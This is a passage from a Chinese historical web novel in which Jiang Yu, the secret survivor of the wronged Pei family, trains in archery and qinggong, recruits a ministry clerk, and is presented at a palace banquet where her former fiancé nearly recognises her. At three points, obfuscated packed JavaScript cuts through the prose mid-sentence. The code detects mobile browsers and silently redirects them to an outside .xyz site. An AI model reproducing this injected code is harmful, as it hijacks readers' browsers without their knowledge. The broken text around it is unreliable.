“他的言语含糊不明,只说朝中有人想害他,缘由是怀疑他改换门庭。当然了,信中更多的还是在分析时局和百姓,以及对战事的关心,那部分话只是寥寥几句,也并未指明想要害他的人具体是谁。我将那封信翻来覆去看了几遍,心里始终放心不下,便连夜赶了回来,没想到还是晚了一步。” 江瑜听得可笑,她悲愤道:“一生刚直的裴大人,没想到最后竟死于党争。真是可笑,可悲!” 在裴家墓前,江涣之难得充当了一个有问必答的角色。江瑜控诉他,说他什么也不告诉她,只把她当小孩的话他全都听了进去。江瑜也表现得比他想象中要坚韧许多。 “我爹战死沙场那年我才十五,朝中要为战败一事治我爹的罪,是裴大人据理力争,还了我爹一个清白。那时我便当他是至交知己,没想到多年以后,他也蒙冤枉死。” 命运何其有趣,将两个原本毫无瓜葛的少男少女绑在一起成了兄妹。千百年间,含冤枉死的肱股之臣又何止一个裴中丞?江瑜叹息之余,却抓住了一个重点:“我爹以前从未依附过任何党派,何来改换门庭一说?” “这就不得而知了,裴家书房被一烧而空,我后来派人去找过信件,可什么都没有了。” 真正的毁尸灭迹,不留后患。这叫江瑜如何能不恨! 对于江涣之而言,江瑜好好地活着,再快乐地活着就是他最想看到的事。他以往试过把她放在真空里,后来发现这是在折她的翼,于是他愿意告诉她一些事也对她说一些心里话了,但他依然不希望江瑜过上殚精竭虑的日子。 江瑜掌握到了这个微妙的平衡。再回到瑜园,她开始回想往日在父亲书房里无意间看见过的那些信件与文字再默写下来。当然这些事都是背着江涣之偷偷做的。 没过多久,江涣之给她找的武学师父也到了。 院子里,江瑜惊讶地看着面前的男人。她原本以为江涣之会随便在军营里找个副将来教她,没想到他会带来一个身形矮小的男人,体型身高都与她很接近。这人走路时悄无声息,还能飞檐走壁,以逼近她的气息来看,他的功力恐怕在玉影之上。 “这是秦渊,平日都在云游四海,偶尔会在山中闭关修炼。这次正好赶上他出关。”江涣之在面对这个秦渊的时候态度竟然难得郑重,他对江瑜道:“还不快过来拜师?” 江瑜走过去,对着这个看不出年纪的方士扶了扶,她不太懂拜师的规矩是什么,只好恭敬地叫了声:“秦师父。” 其貌不扬的秦渊眯起眼睛打量起江瑜,开口时的声音中气十足,“不必多礼,师父就免了,叫我秦渊就行。” 江瑜感叹起这人还真是不拘虚礼,虽然外貌平凡了些,但可真是仙风道骨,岂是凡夫俗子能比的。 江瑜在心里将秦渊夸了个遍,可她没想到秦渊忽然转身对着江涣之拱了拱手,下一句话就让她差点惊掉下巴。 “江大人,恕草民无能,令妹资质平平,体质羸弱,实非练武之才。幼时习武或许还有一线生机,可现今已然晚了,强行拔苗助长只会摧毁根本。” 江涣之皱起眉,他没料到秦渊说话会这么不留情面,却无论如何都不想浇灭江瑜的一腔热忱。 听完秦渊的话,江瑜先是一怔,随后一个箭步冲到秦渊面前,“你口口声声说我资质平平,体质羸弱,可我们从见面起还不到一炷香时间,你对我能有多了解?您是武学高手,见多识广,兴许见过的能人异士多如繁星,可我何时曾说过我要做什么武林高手了?我不过是想学几招能防身健体的功夫,你这番推拒怕不是担心我败坏了您的一世英名?” 秦渊被江瑜这么抢白一通也不动怒,他抽出腰间长剑,剑柄朝向江瑜,“既然不服气,那你就试着掂量掂量。看看能不能举得动。” 江瑜见那长剑在他手里轻若无物,仿佛举着一根绣花针似的。她信心满满地接过剑柄,没想到秦渊刚一松手,她就被长剑坠得周身一沉。 江瑜满脸涨红,使出全身力气用两只手牢牢握住剑柄,这才堪堪使剑尖离地。饶是如此,她也没有要服输的意思,反而朝着江涣之道:“哥哥,你要进宫就尽管走,不必担心我。” 江涣之见秦渊饶有兴致地抄起了手,就知事情已经成了一半。于是也不多言,对着秦渊一拱手便出府进宫去了。 江瑜怎么也没想到,第一天习武就是这般的艰难苦痛。秦渊起初还看着她,没过一会儿像是无聊了,居然两步飞到树梢上躺着,翘着二郎腿,嘴里还叼着根狗尾巴草。 江瑜分明看他眼睛闭上了,可每回在她双手往下掉了一点时又会听见他悠悠道:“再往上些。” 江瑜咬着牙,不敢有半分松懈。不知过了多久,秦渊双手枕着头,状若体贴般地道:“累了就扎扎马步,双手平举。” 当真是度日如年。直到江夫人都看不下去,让翠竹送饭进来了,秦渊才松口让江瑜放下剑。江瑜的手抖个不停,连筷子也拿不起来,顶着秦渊的视线,她硬着头皮道:“我不饿,用不着吃饭。我还能练。” 秦渊轻笑一声,将手中长剑翻了个剑花,潇洒收起。临走前道:“若是还想练武,那就明日天还没亮的时候在院中等我。” 秦渊一走,江瑜浑身脱力般坐了下来。翠竹心疼得眼泪都快掉下来了,她打开食盒,“小姐,吃点东西吧,婢子喂您。” …… 翌日,清晨的第一道曙光还未照亮大地,秦渊一路使着轻功飞到江府瑜园。黑漆漆的院子里,一道纤弱却笔挺的身影站在院中,江瑜穿了一身劲装,一双眸子在黑暗里亮如星辰。 就这样,当日下朝的江涣之突然就收到了来自秦渊亲笔书写的“授课安排”。他翻开一看,上面清晰细致地记录着针对江瑜制定的练武进度。 江涣之翻看半晌,眉梢一抬,“你想让她主攻射箭和轻功?” “不错。贵府二小姐身子骨太弱,舞刀弄枪不适合她。除了基本的内功心法,我想让她学射箭,不,应该是骑射,她力量虽不足,心性却坚定,如此方能扬长避短。另外,我还打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625627|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算教她用匕首近战,这类轻巧的武器也适应二小姐的身份。” 江涣之点点头,秦渊考虑得很周到。她一个高门贵女,平日出门总不能像他一样佩剑,或是扛着把大刀。 当晚,秦渊往瑜园送了数十把大弓,箭矢和靶子摆满了院落。秦渊对她的要求也不只有拉弓射箭,还要她闭上眼,用耳朵去听,用心神去感知。 如此过了半月,江瑜总算适应了高强度的习武,不再每日周身酸痛,她也能分出些时间和精力调查裴家的事了。 “玉影。”坐在房里,江瑜把玉影唤了出来,“上次让你查的那几个富商,查出什么来了?” 江瑜口中的富商就是当年站出来指认裴家收受贿赂的那几个,这条线索其实江涣之派出的人一直在跟。玉影禀报道:“大少爷当初派的人近日回来了一些,那几个商人早就相继出了京,在边境与外族人做起了生意,其中一人染上瘟疫死了,其余人全都不知所踪。” “不知所踪?是死了还是消失了?” “应是去了别国,大少爷还留了些人在探,应该很快就会有消息。” 江瑜对这条线索并不抱太大希望。那么能不能从大理寺和刑部入手呢,当年都察院鉴于裴中丞的官职避了嫌,在调查中近乎隐形,真正起到决定性作用的还是这两方。 她既想报仇也想翻案,还裴家一个清白。既要翻案……若是能找到当年办案时的第一手卷宗就好了。 江瑜思索许久,对玉影道:“把近期朝中的人事变动都整理出来交给我。” 玉影刚领命而去,江瑜就听见翠竹在给江涣之请安。 江涣之掀开珠帘走进来,俯身望向她手中的书册,“《左传》?怎么看起这类书来了。” “无聊呗,看着打发时间的。”江瑜放下书,“哥哥怎么来了?” “来看看你。”他从进来起就一直背着手,此时将手里的锦盒拿出来放在桌上,对江瑜道:“还有礼物要送给你。” 江瑜打开锦盒,眼前寒光一闪,一把精致无比的短刀出现在她面前。 江涣之将短刀拿出来,刀刃是极锋利的,只见他按下一处开关,那尖刃倏地便收了回去,只剩一截盘扣,像手镯上的一点镶金。 “这是我让人给你打造的袖剑,平日当首饰戴,要用时一按这金珠,就会有刀刃出鞘。”江涣之拿过江瑜的手,把她的衣袖挽上去,小心地为她佩戴在手腕上。 “还有这个。”江瑜这才注意到锦盒里还有个像好多圆环重叠起来的物件,“这是小型箭弩,匠人由十字弓改制而成,可以在里面放置五发特制箭矢,就是威力不太强。你戴在另一只手上试试。” 江涣之垂着眼,露出极专注的神情。江瑜能看见他睫毛翕动时的弧度,落在眼下形成了一片阴影,即使不去触碰,她也能感受到那一定是很柔软的。 江瑜以前见过江涣之如何面对手下兵将,杀气腾腾,威风凛凛,也不知他们看了这一幕会不会以为自己的将军被夺了舍。 江涣之给江瑜把两边手腕的机关都佩戴好,刚一抬头就对上了江瑜好整以暇的目光。 江瑜朝门外抬了抬下巴,“出去比划比划?” 5. 第 5 章 江瑜用她那初学得来的、还不太熟练的轻功轻点足尖,飞身掠到了院落中央。 江涣之紧随其后,随手捡起地上的一截树枝,那边的江瑜已经欺身过来朝他出招了。 秦渊本就是武学奇才,再加上江瑜勤奋好学,虽然招式还没学几招,但已经能使得有模有样。眼见锋利寒光朝面门袭来,江涣之右手一抬,树枝顷刻间仿若化成缠人的藤蔓,绕住江瑜的手腕一路往上,轻飘飘化开了她的攻势。 江瑜早有准备,身形翻飞,凌空转了几圈,避开来自对方的缠斗。可她落地时有些不稳,加上操之过急地想绕到背后偷袭,江涣之还没来得及收势的树枝啪地一下打到了她身上,发出一声脆响。 江涣之急忙收回手,却见江瑜刚捂住胳膊,可很快放开了手,继续摆出应招的架势。江涣之想起之前偷偷看过几次江瑜练武,不管遇到多么繁重的训练,她从不开口叫一声屈,有时累极痛极了,泪水也顶多只在眼眶里打转,从没掉下来过。 江涣之在转瞬之间就收起了想去安慰的心思,绷紧面色,手里树枝疾速向前探去。 他朗声道:“与人交战最忌心浮气躁,你人都还没站稳就想急着发动突袭,这是大忌。习武讲究的是个形曲力直,心里一乱,招式就跟着乱了,也就容易被人抓住错漏。” 话音刚落,江瑜的手又被打了一下,手里的劲跟着一松,短剑也没拿稳。江涣之这样自小习武的人,没什么切磋就要点到为止的习性,既然拿她当对手了,下手自然不会留情。江瑜的好胜心也被勾了起来,眼疾手快地重新拿了一把匕首,直往江涣之身前刺去。 “腰沉下去,头顶却要像有根绳子吊着,形松而气不散。”江涣之一面与她缠斗,一面竟还能心平气和地说话,气息一点不乱。 江瑜步步紧逼,使出浑身解数勉强将江涣之逼退数步,眼看就要退无可退了,江涣之忽然往旁一躲,眨眼的工夫人就跃到了房梁上面。 “你耍赖!”江瑜抬头大喝一声,满脑子都是要追,脚下一用力不知怎地也到了房顶。她兀地往下一看,竟吓了一跳,连她自己都没想到居然真的上来了。 后知后觉感到害怕的江瑜再也顾不得去追江涣之,脚下一动几片瓦就掉了下去,惊得她也差点一头栽下去。腰间被一只宽大的手掌托住,隔着衣衫能感觉到那人温热的气息,混杂着他身上突如其来的清冽气息,江瑜忽然感到一阵安心。 只要哥哥还在,她就永远不需要害怕。 江瑜的一瞬恍神换来的结果就是手里匕首被抢了。江涣之扔下树枝,将匕首的刀刃一面贴近掌心,江瑜惊呼一声,还以为他要被刀尖割破了,没想到他只是手起刀落地将树枝切成了两截。刀刃藏在他的手里,就像融进了他的皮肤似的,伤不到他一分一毫。 “怎么它在你手里就这么听话?”江瑜的语气听上去有些不忿。 “谁让你这时候还分心?”江涣之抬眉看过来。 “你欺负人。”江瑜小声道:“堂堂苍冥将军,欺负一个刚学武的新手。” 江涣之低笑一声,把匕首递过来,刀柄一头朝向她,“我要是处处让着你,那你又该不高兴,觉得我瞧不起你了。” 这倒是……江瑜接过匕首,悻悻地往江涣之那边靠了靠。架倒是打完了,可摆在江瑜面前的是一个新的问题,她该怎么下去? 夜色渐深,来一场酣畅淋漓的打斗舒是舒坦,可结束以后身体的疲乏也上来了,江瑜觑了一眼江涣之,主动开口:“你抱我下去?” 江涣之果然没那么好说话,他目不斜视地道:“刚刚怎么上来的,现在就怎么下去。” 鬼知道她刚刚怎么上来的!江瑜索性往房梁上一坐,破罐子破摔道:“那就在这里待一夜好了,正好看看风景。” 夜风微凉,月明星稀。江瑜抬起头赏月,渐渐地也觉出些兴味来。可最后她还是被江涣之背着下来的,因为江瑜的眼皮子都开始打架了。 江涣之一路背着江瑜,将她放在床上,小心地把她怀里匕首抽出来,再将床幔放了下来,这才离开瑜园。 到了第二日,江瑜还记着“形曲力直”那四个字,她早早地起床,自己先到院子里练起了功法。此后的许多年里,她都会在每一次练武时想起江涣之说的话和他示范时的样子,一招一式都练得刻骨铭心。 下午,玉影拿来了朝中官职变动的册子。江瑜独自坐在房里,翻来覆去看了好几遍,只觉上面的人名大多眼生,基本与她爹都没什么私下往来。 不过刑部里倒有一个新进主事的名字吸引了江瑜的注意,此人名叫蒋义如,是去年的新科进士。江瑜想起她爹还在世的时候虽与朝中同僚交集不多,但他格外看中那些寒门学子。许多进京赶考的穷书生若是吃不起饭、住不起客栈了,到裴家来总能得一碗热汤和一片砖瓦庇身。 那些书生大多面薄,连名讳也羞于提及,往往事情稍有转机就会道谢离开。因此没有长住在裴家的。 那为什么会对这个名字有印象呢,江瑜冥思苦想许久,终于想了起来,她爹当时夸过这个人,说“义如写的文章针砭时弊,一针见血,日后定能入朝为官。是个宰辅之才。”当时江瑜听成了“意如”,还觉得这名字颇像女子。 “蒋”这个姓不是什么世家大族,这跟寒门出身也对得上。江瑜起身换了身衣裳,戴上惟帽,决定去碰碰运气。 她只带了玉影和翠竹,蒋义如的住处并不难打听,稍稍一问就知道,毕竟当了官还住在闹市坊区的人并不多。她站在院门前,窄巷里吵嚷声不断,蚊蝇四散,翠竹拉了拉她的衣袖:“小姐……您真的要进去?” 江瑜点点头,抬手扣响房门。门后无人应答,倒是隔壁有个大娘听见动静探出头,扯着嗓子道:“丫鬟出去了,就剩一个七十岁的老母卧床,起不来的!” 江瑜走过去,问道:“大娘,他家的丫鬟出去多久了?什么时候回来?” “谁知道呢,就一半大丫头,没个定数。” “那蒋主事什么时候回来?” 大娘摆着手道:“那就更没谱了,有时夜里才回来,有时好多天都见不着人影。”说完大娘就回了屋,不知忙活什么去了。 江瑜又在蒋家门口等了等,按理说也该下值了呀。她踮起脚往里看了看,隐约看见房门掀开了条缝,掉在地上的……好像是个碗。 “玉影,破门。”江瑜道。 “是。”玉影一脚踢开木门,江瑜顾不得太多,径直往里走。宅院不大,一共就两间屋子,她推开那扇没有关紧的门,果然看见一个白发苍苍的老妪瘫倒在床榻,江瑜走过去唤了好几声,老妪都毫无反应。 从瘫倒的姿势和掉在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625628|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的那半碗饭来看,情况不太乐观。江瑜当机立断:“玉影,背人去医馆。翠竹,你在旁边帮忙。” 玉影动作干脆利落,已经将人背了起来,翠竹在旁边手忙脚乱地给人披上毯子,再跑到前面开门。江瑜环视四周,拿起桌上的纸笔,匆匆写下几句话,算是留了个口信。 到了医馆,好在老妪的情况不算太严重,郎中给人施了针,再喂了两副药,病情暂时稳定下来了。江瑜望着软榻上还没醒过来的老妪,有些忧心。不一会儿,郎中提着几服装好的药走了进来,对江瑜道:“还好送来得及时,若是再晚半个时辰,就是华佗在世恐怕也无力回天。这些药回去以后记得每日……” 郎中话还没说完,帘外忽地传来一声异响。江瑜回头一看,来人是个穿着官袍的清癯男子,被那句“再晚半个时辰”吓得当场腿软跪了地,他脸色惨白,身后还跟着一个哭哭啼啼的小丫头。 很快,那男子调整好思绪站起身,在确认母亲无恙之后,他对着江瑜作了个揖,“多谢这位……”男子身形一僵,他根本不认识这人,更不知该如何称呼。 江瑜虚虚扶了他一把,道:“蒋主事能否借一步说话?” 蒋义如点点头,随她走出医馆。他本是看了江瑜留的字条才会赶来这里的,字条上只写了情况紧急,让他速来,落款并未留下姓名,只说是个故人。 蒋义如一时为母亲的病情着急上火,来不及追究此人身份,这时静下心来才觉这人处处透着古怪。看她的穿着气度应当出身不俗,那怎会是他的故人? 前方的江瑜已经停了下来,蒋义如连忙又是一拱手:“多谢姑娘。今日家母晕倒,小丫鬟一时慌了神,跑出去请大夫,常请的那位大夫又恰好出诊去了,她只好来刑部寻我,一来二去耽误了不少时间。幸得姑娘相救,蒋某感激不尽!” “蒋主事,今日之事实属巧合,我并非挟恩图报之人。贸然登门,是有别的事。” 蒋义如正听得云里雾里,忽地看见江瑜解下了脸上的面纱,她接下来说的堪称惊骇:“我是昔日裴中丞的长女,裴瑜。父母幼弟皆枉死,我有幸捡回一条命,今后定会为裴家讨回公道。当年蒋主事曾短暂当过裴家的门生,得过我爹的青眼,我这次来只为问一句,蒋主事可愿做我的人,今后效忠于我?” 江瑜的一番话太过震撼,蒋义如听得难以置信。他本以为裴家全都丧命于两年前的那场大火,没想到竟还留下了一人。 裴中丞当年对蒋义如有恩,再加上今日的恩情,他自然是愿意报答江瑜的。只不过……蒋义如道:“能得姑娘看重,蒋某受宠若惊。可我只是个小小的六品主事,在刑部说不上话,也不得家世庇荫,日后升迁无望。恐怕对姑娘没什么用处。” “你会升上去的。我如今虽根基不深,但我一定会竭尽所能地提携你,只要你尽心为我办事。当然了,我不会让你去做什么伤天害理之事。你也别看我只是个妇孺,可我总有一天会将这京城搅个天翻地覆。” 说完,江瑜看了看天色,再不回去江夫人该担心了。她看向面前依旧惊疑不定的蒋义如,“蒋主事不必急着做决定,若是想好了要与我结盟,那就往江家的瑜园递封信。若是不愿,那我不会怪主事,以主事的人品也定不会将我的身份说出去。” 说完,江瑜朝他行了个礼,转身离去。 6. 第 6 章 带着玉影和翠竹回府,江涣之还没有回来,江夫人在门口等她。 一看见江瑜,江夫人脸上的焦急之色消散大半,她握住江瑜的手问:“怎么这么晚才回来?我下午去瑜园找你,下人说你出去了。” “出去逛了逛,忘了时间。”江瑜反握住江夫人的手,两人并肩往里走。 江夫人柔声道:“明日就是宫宴了,圣上还要赏赐你。这也是你回京城以后第一次出席正式场合,要穿什么,戴什么首饰,这些都准备好了没有?” 江瑜连日来一心扑在学武和查案上,竟将这事忘到了九霄云外。原来已经到了月末,她恍然道:“我全忘了。” 江夫人对这次宫宴很上心,到了瑜园,江瑜在一旁用饭,她就指挥房里的丫鬟把江瑜的裙衫都摆出来。虽然平日里素净惯了,但江夫人对现下时兴的款式还是有些了解的,她选了条绛红色的罗裙出来,又让人去库房拿了套新的头面。 第二日进宫前,江涣之特地回来接她们。江瑜挽着江夫人的手,看见江涣之翻身下马,大步走了过来。 “进宫以后我们会分开坐,女眷在另一边,你跟着娘。”江涣之对着江瑜道。 江瑜应道:“好。” 简单交待了几句,江涣之骑上了马,江瑜也和江夫人一起坐上马车。 车马辚辚,不一会儿巍峨的宫墙就出现在了眼前。江瑜有些好奇地掀开车帘往外看去,仿佛能够感受到那来自于深宫的肃穆与幽秘。 以前还是裴大小姐的时候她就从未进过宫,父亲入朝为官以后宫里虽然时有宴席,能携家眷出席,可那时候她爹嫌她年岁太小,怕冲撞了圣上,因此从没带她进过宫。 这次宴席在承天殿举办,主要的皇室宗亲和大臣都坐在大殿里,女眷则被安排在了由一道屏风所隔的千秋台。丝竹管弦声渐起,夫人们聚在前面交际应酬,下首坐着的是来得早的贵女们。 “那个江家二小姐怎么还没来?”有个穿着鹅黄襦裙的少女伸着脖子往外看。 她身边另一个女子附和道:“这个江二前些日一露面,就在京城引起好大的轰动,不管去哪里都能听见谈论她的声音。我问你们,有谁私底下见过她了?” 众人纷纷摇头,都说“没有”。那鹅黄少女又道:“乡里来的野丫头,官话都不一定会说,定是不敢出来见人。这段日子躲在府里,不知找了多少嬷嬷在教她规矩呢。” 她这话引来一番哄笑,坐在上首的女子原本不想管,可眼看她们越说越过分,不禁开口斥道:“别说了。江二小姐应该很快就到了。这些话要是传到了江大人耳朵里,有你们受的!” 说话的人叫孟昭宛,她爹是大夏除了江涣之以外的另一名将,如今驻守在南疆边境。 这些女眷就算没接触过江涣之,也是听过他大名的,虽然长相俊逸,气质也出尘,但那可不是个好惹的主。于是全都闭上了嘴,不敢再多说。 江夫人和江瑜在内侍的带领下穿过宫道,来到屏风一侧的千秋台。 江瑜甫一现身,原本已经没什么人说话的千秋台霎时变得更静了。在场的人全都目不转睛地看着江瑜,那个鹅黄少女更是惊愕地张开了嘴,像是有些不敢相信。 直到江瑜对着众人扶了扶,走到座位坐下,那些人才渐渐回过神。鹅黄少女猛地低下头,险些咬着自己的舌头。什么乡下来的野丫头,那分明是个姿容秀丽的大家闺秀! 刚一坐下,江夫人对江瑜耳语道:“我先去那边打个招呼。” 江夫人暂时离开,江瑜也并不局促拘谨,有谁看她她就坦荡回望过去,致以一个礼貌的微笑。她的一举一动都沉稳大方,方才走进来的时候是,现在端坐的模样也是,全都雅致得让人挑不出错。 江夫人很快回来,还把其他夫人也都带了回来。等到这个时候江夫人才向众人介绍起江瑜,还把在座的夫人也都一一向江瑜引荐。 她的态度显得极为重视,让谁也不敢怠慢这个江二小姐。加之江瑜气度出众,亦是没给江家丢脸。 孟昭宛也有些诧异,在进宫前,她娘还特地嘱咐过,让她在小辈的后席里多照顾些江二小姐。她第一次来到京城,又第一次见到这么多达官贵人,一定应付不来。如今一看倒是自家娘亲多虑了,孟昭宛想,此人流落金陵时收养她的必是什么大户人家吧。 她有意与江瑜拉近距离,于是温声道:“江妹妹刚来京城,一定还不熟悉。下次我带你出去玩。” 江瑜含笑回道:“好啊。” 席间又有人问:“你自小在金陵长大,能不能给我们说几句当地方言?” 早在山间别院,江涣之就找人教过她说金陵话。江瑜略一点头,再张嘴时便是一口熟稔的吴侬软语,配上她的清丽姿态,当真是江南水乡一般的美人美景啊。 正听得如痴如醉,内侍通报的嗓音打断众人思绪,随着一声:“皇上驾到——皇后娘娘驾到——”,江瑜与所有人一道站起身,对着皇位的方向叩首行礼,高呼万岁。 璟和帝心情甚好,在北漠的战场上,夏军大获全胜。北漠就此向大夏称臣,缴获的战利品和可汗进贡的金银财宝、良驹兽皮足足运了两个月才全部抵达京城。国库充盈,自然也就象征着国力强盛。 璟和帝含笑看着伏地叩首的文武百官,尤其是刚刚立下赫赫战功的江涣之,他抬手道:“众爱卿平身。” 江瑜跟着江夫人一道站起来,她觉得这声音比想象中要更苍老一些。众人纷纷坐下,她又朝那边觑了觑,璟和帝不过五十来岁,但头发已经花白,垂眸敛视的模样极具威严。坐在他右手下方的是一个头戴九旒冕的年轻男子,江瑜猜测那应该就是太子。 璟和帝的嗓音再度响起:“北漠如今归顺大夏,那象征权力的狼头纛朕已赐予达尔可汗,使臣不日即将抵达京城报聘。” 江瑜凳子都还没坐稳,璟和帝话音一落她就又随众人起身叩拜,嘴里齐齐说着“陛下圣明,大夏昌盛” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625629|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一类的话。她在心里暗暗想,进宫还真是麻烦,规矩一大堆也就算了,面对皇帝还要时刻提心吊胆,恨不得两句一叩,三步一拜的,再这样下去膝盖都要报废了。 好在璟和帝没说几句话就宣布开席,端着菜肴的宫娥鱼贯而入,江瑜的身旁在这时候竟又起了小小骚动。 几个年纪尚小的女子凑在一处咬耳朵,脸上都红扑扑的,尽是小女儿情态。 “是赵家的大公子!” 这声音蓦然传过来,江瑜手里筷子一松,一块金银糕掉在了碗碟里。 她不动声色地抬眼,透过半遮半掩的屏风,果然看见了太子身旁的赵承昱。许久不见,他看上去沉稳挺拔了不少,不像儿时那般张扬恣意。 不过几年前的事,如今回想起来倒像上辈子了。江瑜的眸光越来越冷,赵承昱文武双全,才貌出众。有个当翰林学士和太傅的爹,当朝皇后还是他的姨母,自小就常出入皇宫,与太子以表兄弟相称,他会成为朝中炙手可热的勋贵子弟这太正常不过了。 江瑜倒不担心他认出自己,她这两年的变化只会更大。况且还在她生死未卜时他们家就急着请旨退婚,如今哪怕认出她了他也只会以家族荣誉为重,巴不得离她这个瘟神远些。 江瑜没有表现出任何异样。刚开始或许还会有恨,可早就消散了,伴随着那些前尘旧事。赵承昱是被家族寄予厚望的下一代领头羊,他的姻亲大事自然马虎不得。江瑜只当那些儿时情谊都喂了狗,再见面也不过是个陌路人罢了。 没过多久,江夫人低声道:“你准备一下,陛下要召见你了。” 江瑜抬起头往龙椅的方向看去,见江涣之正在被问话,璟和帝道:“听说江爱卿这回出兵打仗,还顺便将失散多年的妹妹给找回来了?” 江涣之起身行礼道、:“回陛下,臣父早在多年前就派人寻找妹妹的踪迹,全都无功而返。直到去年,派出的人终于有了发现,这才将妹妹接了回来,只可惜臣父再也见不到了……也苦了妹妹多年流离。” 提到江涣之的爹,那个曾经征战半生、替大夏打下不少江山的故人,璟和帝也颇有些感怀,他道:“那可真是双喜临门。既打了胜仗,你们一家也团聚了,江二小姐人呢,出来让朕看看。” 江瑜应声走出屏风,往前疾行数步跪在大殿正中。从那略显伤感的语气来看,璟和帝此刻的形象大概不是君主更多,而是一个长辈更多。功高震主的江大将军一死,那些忌惮与隔阂也跟着消逝,取而代之的有怀念,也有韶华不再的感慨,因此璟和帝会对身世凄苦的江瑜产生一些难以言喻的慈爱。 “抬起脸,让朕看看。” 四周寂静无声,璟和帝的嗓音显得沉重凛然。江瑜缓缓抬起脸,对上龙椅上那双稍显浑浊的眼睛。 在看见她脸的那一刻,站在太子旁边的赵承昱如遭雷击。他不可置信地盯着那张脸,双脚仿佛被钉在了地上一般动弹不得。这人……怎么会这么像他记忆中的裴瑜? 7. 第 7 章 江瑜与江家没有半点血缘关系,但她生得不太像她爹,反倒专挑爹娘的精致处长。俗话说美人都是相似的,死去的江大人高鼻深目,江瑜也有一道直挺的鼻梁,一双眼眸也莹润动人,若是专门往那个方向想,那么也能说得通。 半晌后,璟和帝道:“与你爹有几分相似。”他看看江涣之,又道:“与你兄长也有几分相像。” 念及江瑜身世坎坷,流离失所许多年。璟和帝大手一挥,赏赐江瑜布匹、绢帛千匹。末了还问了问江瑜的年岁,问她及笄了没有。 这话的意思应是想替江瑜指婚,江涣之忙道:“尚未及笄。难得团聚,臣母也想将妹妹多留在家中几年。” 此事便作罢,江瑜行礼领了赏,等再回到屏风后面的女眷席,有一道目光始终跟随着她,近乎到了不加修饰的地步。 赵承昱都不知道他是怎么坐回去的,他只知道面前这个少女像极了裴瑜,姿容神态,就连走路的姿势。会是她吗?赵承昱立即否定了这个猜测,两年前在裴家,他亲眼看见裴瑜的尸首被拖出来,即使已经烧得面目全非,可身量体型总是不会错的,身上还带着他曾经送给她的玉佩。 接下来的时间里赵承昱都心不在焉,他频频往大殿后面看去,试图捕捉那一道熟悉的身影。在得知裴家失火并全家丧命的消息之后,他大病一场,后来知道父亲去请旨退了婚,他心中有气,冲到父亲房中嘶声问道:“人都死了,你还去退婚做什么?” “当然是出于礼制。退婚的旨意一日不下,你在名义上就是有婚约在身的人。族谱上就不合规制礼法!”父亲的话让他寒心。此话的一年里,父子俩再未说过一句话。 好不容易走出了那段阴霾,可无时无刻不在思念的人就这样出现在了面前,这让他如何能冷静? 太子和皇后在旁边说着什么,他一句也没听进去。没过多久,赵承昱起身道:“姨母,表兄,我去那边看看。” 赵承昱起身走到千秋台,站在屏风外,对内侍道:“让赵四小姐出来,就说她兄长有事找她。” 不一会儿,一个十来岁的半大姑娘走了出来,两颊塞得鼓鼓的,明显对赵承昱突然叫她出来很不满,瞪着眼道:“干什么?” “我来看看你是不是又惹事了,娘不在,你有没有乱说话?”赵承昱表面是在问话,实则眼睛直往屏风里头瞧,他看见江瑜与江夫人很亲昵地挨在一起,两人低声说着话,江瑜面色如常,时不时地弯弯唇角。 此时再一看,赵承昱又觉得她不太像那个让他日思夜想的人了。如果真的是裴瑜,那在见过他之后不会这般毫无反应,也不会与江夫人这么快就建立起母女之情。 “我说了我没有乱讲话,你到底有没有在听啊。”赵承昱忽地被一推,面前的小姑娘转身拉着丫鬟的手跑了回去。 赵承昱心中微叹,索性也不回皇后和太子那边了,走到官宦子弟所在的后席落座。他能感觉到许多人都在看他,有想来套近乎的别家公子,也有芳心暗许的女眷,可唯独没有他正在想的人。 江瑜正专心致志地听江夫人给她介绍,“那是太子,旁边与他说话的是三皇子。” 听江夫人说,三皇子是太子的胞弟,两人都为皇后所出,感情格外亲厚。江瑜有些讶异,她原本以为皇嗣之间都是相互忌惮争宠的,没想到会是这样兄友弟恭的画面。 不过转念一想也是,太子是名正言顺的长子,没病没疾长到现在,没犯什么大错,也没什么丧心病狂的陋□□位稳得都不能再稳,愣是让旁人一点异心都生不出来。 江夫人还给江瑜介绍了其他几个皇妃和公主,认个脸熟,免得日后遇见时江瑜不认识,把人给冲撞了。 远远坐着的江涣之似是也有些不放心她们,时不时回过头来看。他那一身的杀伐之气进了宫也没能收敛多少,配以标志性的生人勿近冰霜脸,没什么人靠近他,他就一个人自得其乐地喝酒吃菜。 